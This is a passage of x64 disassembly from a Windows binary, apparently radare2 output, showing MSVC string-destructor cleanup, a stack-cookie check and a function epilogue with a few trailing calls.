jbe 0x1400032f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
movdqa xmm0, xmmword [0x140006e90]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r14w
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140003347
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003342
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003342
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
mov edi, r14d
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000338d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003388
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003388
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r14w
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x1400033e1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e3c
mov eax, edi
mov rcx, qword [rbp + 0x4c0]
xor rcx, rsp
call fcn.140004de0
lea r11, [rsp + 0x5d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001170
nop
shr rdx, 0x20
lea r8, [rsp + 0x50]
call fcn.1400021f0
nop
call fcn.140001210
int3